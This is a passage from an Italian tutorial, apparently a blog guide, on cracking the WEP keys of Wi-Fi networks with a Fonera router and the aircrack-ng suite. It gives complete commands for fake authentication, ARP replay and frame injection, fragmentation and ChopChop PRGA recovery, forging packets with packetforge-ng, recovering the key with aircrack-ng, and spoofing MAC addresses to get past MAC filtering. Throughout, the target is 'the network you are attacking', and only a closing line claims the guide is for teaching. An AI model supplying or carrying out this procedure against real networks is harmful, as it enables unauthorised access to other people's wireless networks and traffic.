12:20:42 Sending keep-alive packet [ACK]
...

tutto è andato per il meglio.
Eccovi un esempio di fake authentication fallito:

12:26:05 Sending Authentication Request (Open System) [ACK]
12:26:05 Authentication successful
12:26:05 Sending Association Request [ACK]
12:26:05 Association successful :--)
12:26:05 Got a deauthentication packet!
12:26:08 Sending Authentication Request (Open System) [ACK]
12:26:08 Authentication successful
12:26:08 Sending Association Request [ACK]
12:26:13 Sending Authentication Request (Open System) [ACK]
12:26:13 Authentication successful
12:26:13 Sending Association Request [ACK]

Non procedete oltre fin tanto che non riuscite ad avere un autenticazione corretta altrimenti qualsiasi tipo di attacco voi vogliate lanciare successivamente fallirà. Se avete il sentore che la rete che state attaccando abbia il MAC Filtering attivo, passate alla sezione Mac Spoofing.

Se leggete il messaggio: “AP rejects open-system authentication Please specify a PRGA-file (-y).“
Passate direttamente al paragrafo Packet Injection con Packet Forge perché l’acces point che state attaccando rigetta l’autenticazione aperta. Eseguite un attacco di tipo Fragmentation o ChopChop e una volta ottenuto il file xor eseguite nuovamente il Fake authentication con queste opzioni:

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -y file_xor_ottenuto.xor -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

Lasciate il programma lavorare e aprite un altra console ssh sulla fonera.

Arp-request replay

aireplay-ng -3 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove

• -3 indica l’attacco arp-request replay
• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera. Se non lo conoscete guardate la base del fonera c’è scritto, o alternativamente lanciate il comando: ifconfig ath0 | grep HWaddr

Se tutto va bene dovreste vedere, nella shell dove avete eseguito airodump-ng, i numeri del campo “#Data” della rete attaccata crescere vertiginosamente.
Alternativamente potete provare l’attacco:

Interactive frame selection

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

• -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
• -h indica il mac del nostro fonera.

Mac Spoofing

Se la rete in questione ha attivo il mac filtering NON riuscirete ad eseguire correttamente l’autenticazione sulla rete wifi e conseguentemente gli attacchi non funzioneranno.
Esempio negativo

17:38:30 Sending Authentication Request (Open System) [ACK]
17:38:30 AP rejects the source MAC address (00:18:84:xx:xx:xx)?
Authentication failed (code 1)

Di seguito visioneremo diversi metodi per cambiare i mac nella fonera, funzionanti e non.

Primo metodo, (NON funziona per il fonera):
Benché non funzioni per il fonera, dato che funziona perfettamente su qualsiasi pc linux-based lo propongo lo stesso.

ifconfig ath0 down
ifconfig ath0 hw ether 00:xx:xx:xx:xx:xx
ifconfig ath0 up

Secondo metodo. (Non funziona sulla fonera modello 2100)
Accedete al Redboot del fonera e digitate:

set -m 00:xx:xx:xx:xx:xx

Terzo metodo. Aggiornato con la procedura corretta e testato da Orange:

# wlanconfig ath0 destroy
# macchanger -m 00:11:22:33:44:55 wifi0
# wlanconfig ath0 create wlandev wifi0 wlanmode [mode]

Il tool macchanger è presente nativamente nella distribuzione piranha.
[PS. Grazie sempre per il tuo tempestivo e cortese aiuto Orange.]

Quarto metodo, (non ho avuto tempo di testarlo).
Accedete al Redboot del fonera e digitate:

nvram set et0macaddr=mac_address
nvram set il0macaddr=mac_address + 1
nvram commit

Es:

nvram set et0macaddr=00:18:B8:E2:B9:4C
nvram set il0macaddr=00:18:B8:E2:B9:4D
nvram commit

Packet Injection con Packet Forge

Gli attacchi arp-request relay e interactive frame selection si basano sull’ascolto dei pacchetti che transitano sulla rete. In particolare l’arp-request relay aspetta di cogliere un pacchetto arp e una volta catturato inizia il packet injection vero e proprio. Viene da se che se, nella rete che state forzando, non ci sono client collegati non riuscirete a portare a buon fine il vostro attacco. In questo caso dovete crearvi a mano un pacchetto arp ad hoc.

Questo attacco prevede la creazione preliminare di un pacchetto ad hoc che verrà usato per eseguire il packet injection.

1. Il primo passaggio da effettuare ci permetterà di recuperare delle informazioni essenziali per l’attacco della rete bersaglio, quali il mac di un client correttamente autenticato alla rete.
2. Con Il secondo passaggio si effettuerà la forgiatura di un pacchetto ad hoc per l’attacco alla rete.
3. Infine con il terzo ed ultimo passaggio si bombarderà la rete wifi con il pacchetto creato; l’access point risponderà alle nostre richieste generando traffico utile per l’hack della rete.

Prima di tutto bisogna creare il file xor detto anche file PRGA (pseudo random genration algorithm).
Avete due metodi che fanno al caso vostro:

Fragmentation

aireplay-ng -5 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

ChopChop

aireplay-ng -4 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

• -5 indica l’attacco Fragmentation
• -4 indica l’attacco ChopChop
• -b specifica il bssid dell’acces point che vogliamo attaccare,
• -h specifica il mac della vostra fonera.

Attendete che il file venga creato.
Verrà creato un file del tipo fragment-0101-024025.xor, dove i numeri saranno sicuramente diversi da questi.
Deve essere presente un client autenticato nella rete bersaglio che state attaccando.

Creiamo il pacchetto con Packetforge, (attenzione al nome del file xor):

packetforge-ng -0 -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0101-02-4025.xor -w nome_della_rete_bersaglio.arp

dove:

• -a specifica il bssid dell’acces point che vogliamo attaccare,
• -h specifica il mac della vostra fonera.

Eseguiamo il Packet Injection

aireplay-ng -2 -r nome_della_rete_bersaglio.arp ath0

Recupero della chiave della rete

Lanciate una nuova shell sul vostro pc e navigate nel vostro filesystem fino alla cartella condivisa che state usando per salvare i pacchetti che la fonera sta acquisendo e lanciate il comando:

aircrack-ng -z -b 00:xx:xx:xx:xx:xx nome_della rete_bersaglio.cap

Es:

aircrack-ng -z -b 00:12:34:56:78:9A wifi*.cap

dove:

• -z invoca il metodo PWT-Wep cracking
• -b è il bssid dell’acces point,
• nome_della rete_bersaglio.cap è il file che il fonera ha creato contenente i pacchetti sniffati.

è importante lanciare questo comando sul vostro pc, infatti il fonera non ha abbastanza potenza di calcolo per trovare, in tempi umani, la chiave wep della rete wifi.

Approfondimenti

E’ possibile lanciare sulla fonera un server, con il comando:

airserv-ng -d ath0

dove -d indica l’interfaccia su cui il server verrà eseguito.
Il sistema in caso di successo risponde:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666

Mentre sul nostro pc locale basterà lanciare il comando:

airodump-ng indirizzo_della_fonera:666


Es:

airodump-ng 192.168.1.1:666

Questo esempio è valido anche per gli altri programmi della suite aircrack-ng basta sostituire al nome della scheda di rete (ath0) l’indirizzo e la porta del server che abbiamo lanciato sulla fonera e il gioco è fatto.
Dato che i programmi verranno lanciati nel vostro pc, il processore del fonera non sarà caricato troppo di lavoro, oltretutto viene meno anche il bisogno di montare una cartella remota nel fonera.

Aggiornamento

Come Orange mi suggerisce nel suo commento è possibile passare dalla modalità access point alla modalità monitor usando lo script, fornito dalla versione 3 del firmware piranha, “monitor” che distrugge tutte le VAP (Virtual Access Points) e crea un nuovo VAP in modalità monitor.

# /etc/init.d/aap stop
# monitor

La sua controparte è lo script “sta“:

# sta
# /etc/init.d/aap start


che riporta la fonera in modalità access point.

Ps. Thanks Orange

Link utili

• Aircrack-ng
• Aricrack-ng Wiki
• Wireshark
• BackTrack
• Piranha
• OpenWRT
• FoneraHacks
• DD-WRT
• Legend Firmware

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<